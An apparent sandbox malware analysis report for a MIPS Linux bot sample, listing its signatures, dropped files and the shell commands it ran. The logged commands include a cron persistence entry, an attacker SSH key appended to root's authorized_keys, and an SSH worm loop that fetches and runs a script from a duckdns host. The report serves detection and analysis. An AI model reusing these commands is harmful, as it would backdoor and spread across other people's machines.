Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    02/12/2026, 16:18

General

  • Target
    mips.elf
  • Size 436KB
  • Sample261202-try5hsds7w
  • SHA256 f0e2ff355aa7312716ed12ae412092be3ced9a184bbf740b83113758dd9898bf
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies the dynamic linker configuration file 2 TTPs 1 IoCs

    Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.

  • Adds new SSH keys 1 TTPs 1 IoCs

    Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Checks hardware identifiers (DMI) 1 TTPs 2 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Creates/modifies Cron job 1 TTPs 4 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Creates/modifies environment variables 1 TTPs 2 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Modifies systemd 2 TTPs 2 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Reads MAC address of network interface 2 TTPs 2 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

  • Reads hardware information 1 TTPs 2 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Removes the immutable protection flag from a file 1 TTPs 2 IoCs

    Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

  • Write file to user bin folder 2 IoCs
  • Modifies Bash startup script 2 TTPs 2 IoCs
  • Changes its process name 3 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 2 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 15 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to shm directory 2 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/mips.elf
    /tmp/mips.elf
    1⤵
    • Modifies the dynamic linker configuration file
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Checks hardware identifiers (DMI)
    • Creates/modifies Cron job
    • Creates/modifies environment variables
    • Modifies init.d
    • Modifies rc script
    • Modifies systemd
    • Reads MAC address of network interface
    • Reads hardware information
    • Write file to user bin folder
    • Modifies Bash startup script
    • Changes its process name
    • Checks CPU configuration
    • Reads system network configuration
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    • System Network Configuration Discovery
    • Writes file to shm directory
    • Writes file to tmp directory
    PID:703
    • /bin/sh
      sh -c "sysctl -w net.core.wmem_max=268435456 net.core.wmem_default=2097152 >/dev/null 2>&1"
      2⤵
        PID:712
        • /sbin/sysctl
          sysctl -w "net.core.wmem_max=268435456" "net.core.wmem_default=2097152"
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:713
      • /bin/sh
        sh -c "sysctl -w net.core.rmem_max=268435456 >/dev/null 2>&1"
        2⤵
          PID:719
          • /sbin/sysctl
            sysctl -w "net.core.rmem_max=268435456"
            3⤵
            • Reads CPU attributes
            • Reads runtime system information
            PID:721
        • /bin/sh
          sh -c "chattr -i /etc/cron.d/kestrel /etc/cron.d/milkd /etc/init.d/kestrel /etc/systemd/system/kestrel.service /etc/rc.local 2>/dev/null"
          2⤵
            PID:723
            • /usr/bin/chattr
              chattr -i /etc/cron.d/kestrel /etc/cron.d/milkd /etc/init.d/kestrel /etc/systemd/system/kestrel.service /etc/rc.local
              3⤵
              • Removes the immutable protection flag from a file
              PID:725
          • /bin/sh
            sh -c "(crontab -l 2>/dev/null | grep -v .kestrel; echo '@reboot /tmp/.kestrel vps >/dev/null 2>&1 &') | crontab - 2>/dev/null"
            2⤵
              PID:729
              • /usr/bin/crontab
                crontab -
                3⤵
                • Creates/modifies Cron job
                • Reads runtime system information
                PID:732
              • /usr/bin/crontab
                crontab -l
                3⤵
                • Reads runtime system information
                PID:733
              • /bin/grep
                grep -v .kestrel
                3⤵
                  PID:734
              • /bin/sh
                sh -c "mkdir -p /root/.ssh 2>/dev/null; chmod 700 /root/.ssh 2>/dev/null; grep -q 'IFs/EDd76mDd3' /root/.ssh/authorized_keys 2>/dev/null || echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFs/EDd76mDd3JLxIWEY6LEblRCkY38GUU0aB7qK2m/l mac' >> /root/.ssh/authorized_keys 2>/dev/null; chmod 600 /root/.ssh/authorized_keys 2>/dev/null"
                2⤵
                • Adds new SSH keys
                PID:737
                • /bin/mkdir
                  mkdir -p /root/.ssh
                  3⤵
                  • Reads runtime system information
                  PID:738
                • /bin/chmod
                  chmod 700 /root/.ssh
                  3⤵
                    PID:739
                  • /bin/grep
                    grep -q IFs/EDd76mDd3 /root/.ssh/authorized_keys
                    3⤵
                      PID:741
                    • /bin/chmod
                      chmod 600 /root/.ssh/authorized_keys
                      3⤵
                        PID:743
                    • /bin/sh
                      sh -c "for k in /root/.ssh/id_rsa /root/.ssh/id_ed25519 /root/.ssh/id_dsa /root/.ssh/id_ecdsa; do [ -f \"\$k\" ] || continue; for h in \$(grep -oE '^[^ ,]+' /root/.ssh/known_hosts 2>/dev/null | grep -v '^|' | head -25); do ssh -i \"\$k\" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 -o BatchMode=yes root@\"\$h\" 'wget -q -T 15 http://elwqelwqele.duckdns.org/l.sh -O /tmp/.s 2>/dev/null && sh /tmp/.s ssh-spread' 2>/dev/null & done; done"
                      2⤵
                      • Removes the immutable protection flag from a file
                      PID:753
                    • /bin/sh
                      sh -c "echo KESTREL_OK > /tmp/kran "
                      2⤵
                      • Writes file to tmp directory
                      PID:755
                    • /bin/sh
                      sh -c "echo KESTREL_OK > /tmp/kran "
                      2⤵
                      • Writes file to tmp directory
                      PID:838
                    • /bin/sh
                      sh -c "echo KESTREL_OK > /tmp/kran "
                      2⤵
                      • Writes file to tmp directory
                      PID:839
                    • /bin/sh
                      sh -c "echo KESTREL_OK > /tmp/kran "
                      2⤵
                      • Writes file to tmp directory
                      PID:840
                    • /bin/sh
                      sh -c "echo KESTREL_OK > /tmp/kran "
                      2⤵
                      • Writes file to tmp directory
                      PID:841
                  • /var/tmp/.kestrelw
                    .kestrelw vps --g
                    1⤵
                    • Modifies Watchdog functionality
                    • Changes its process name
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:708

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        kestrel

                        • Path /etc/cron.d/kestrel
                        • Size 31B
                        • SHA256 1571a9ca30455f8d3b7caea509a1f81ecc533bd298f6151a05a2777a1d7bd1dc
                        • MD5 SHA1 SHA512

                        milkd

                        • Path /etc/cron.d/milkd
                        • Size 40B
                        • SHA256 15f4eafa0a5dff8bc5abc2eda99acc1a9fc124094e2b8a22b961cfb55aaf9c8b
                        • MD5 SHA1 SHA512

                        kestrel

                        • Path /etc/init.d/kestrel
                        • Size 93B
                        • SHA256 f6c9a7c4f3cc8adb27ad26929d517e383f338d4d9eb5c7f742de7d6f9c7dcbf1
                        • MD5 SHA1 SHA512 TLSH

                        inittab

                        • Path /etc/inittab
                        • Size 28B
                        • SHA256 9ee710459c00ae38c846a638c136de388e86878ca1b9219410845f62b3d77d54
                        • MD5 SHA1 SHA512

                        mdev.conf

                        • Path /etc/mdev.conf
                        • Size 38B
                        • SHA256 42e19f680bda9bbcef40bde10b2f30d60acc4c645213d5d39f72029597306b28
                        • MD5 SHA1 SHA512

                        rc.local

                        • Path /etc/rc.local
                        • Size 50B
                        • SHA256 61501961def7d0714778a46c972c85671a2ae7b17cfdcd529a02266126d97a69
                        • MD5 SHA1 SHA512 TLSH

                        kestrel.service

                        • Path /etc/systemd/system/kestrel.service
                        • Size 152B
                        • SHA256 5ab0466ad81c468814e7ac2f3ac3a4590de2d2b0db1102df63972a4e809da4f5
                        • MD5 SHA1 SHA512 TLSH

                        milkd.service

                        • Path /etc/systemd/system/milkd.service
                        • Size 158B
                        • SHA256 86ff83d23ae9a0a92638932d76ed827b81d5b2f0b8d1cfbfe4cdd7d40581324a
                        • MD5 SHA1 SHA512 TLSH

                        99-kestrel.rules

                        • Path /etc/udev/rules.d/99-kestrel.rules
                        • Size 40B
                        • SHA256 8820d37b388a210db7df04aa89aeb9b94ccd1bcccbb7e4c40d1738f4c298ec85
                        • MD5 SHA1 SHA512

                        libhide.so

                        • Path /lib/libhide.so
                        • Size 2KB
                        • SHA256 0add9f83fa68883dd304863b9ab43e07572788998ad2200454fc81cf08496883
                        • MD5 SHA1 SHA512 TLSH

                        authorized_keys

                        • Path /root/.ssh/authorized_keys
                        • Size 85B
                        • SHA256 64f493fe7684dcee0ad3e3d5f07d4aafd1c6811341eff4dab9ad6f46b46f654f
                        • MD5 SHA1 SHA512 TLSH

                        .gk

                        • Path /tmp/.gk
                        • Size 17B
                        • SHA256 5dd5e2c7e0e21563ac6c39a782ae8c654d5c952049477d940f13f80a71198961
                        • MD5 SHA1 SHA512

                        .kestrel

                        • Path /tmp/.kestrel
                        • Size 436KB
                        • SHA256 2ca520510d0837a8b30f1fe4ed6c3a63aca59897085bc887dbff9c0f725d5335
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        .kestrel

                        • Path /tmp/.kestrel
                        • Size 436KB
                        • SHA256 f0e2ff355aa7312716ed12ae412092be3ced9a184bbf740b83113758dd9898bf
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        .kestrel

                        • Path /tmp/.kestrel
                        • Size 232KB
                        • SHA256 9c4aee65322aa770edb5531d07f128b21a0b1a51f1aed2e0511a1dc3b94df782
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        .kestrel.tag

                        • Path /tmp/.kestrel.tag
                        • Size 4B
                        • SHA256 b7fafb86bf6623e388b84fcb2443bf033660e9fdd5bd9669f0223051a90b7ca2
                        • MD5 SHA1 SHA512

                        .kestrelw.pid

                        • Path /tmp/.kestrelw.pid
                        • Size 4B
                        • SHA256 1f268f88e74094ee3178941691f4d297a65d7daffffd18598e980066dd008369
                        • MD5 SHA1 SHA512

                        kran

                        • Path /tmp/kran
                        • Size 11B
                        • SHA256 8860553ea0cacad0585c84a5bdc7a0bf0d9456504de5b4f9e9c427552b7ea3b9
                        • MD5 SHA1 SHA512

                        tmp.aVnRcc

                        • Path /var/spool/cron/crontabs/tmp.aVnRcc
                        • Size 219B
                        • SHA256 ddc390fdc53d9ac3789dcaa7191f6db15f459ff366bd842e1bd603262c527dc3
                        • MD5 SHA1 SHA512 TLSH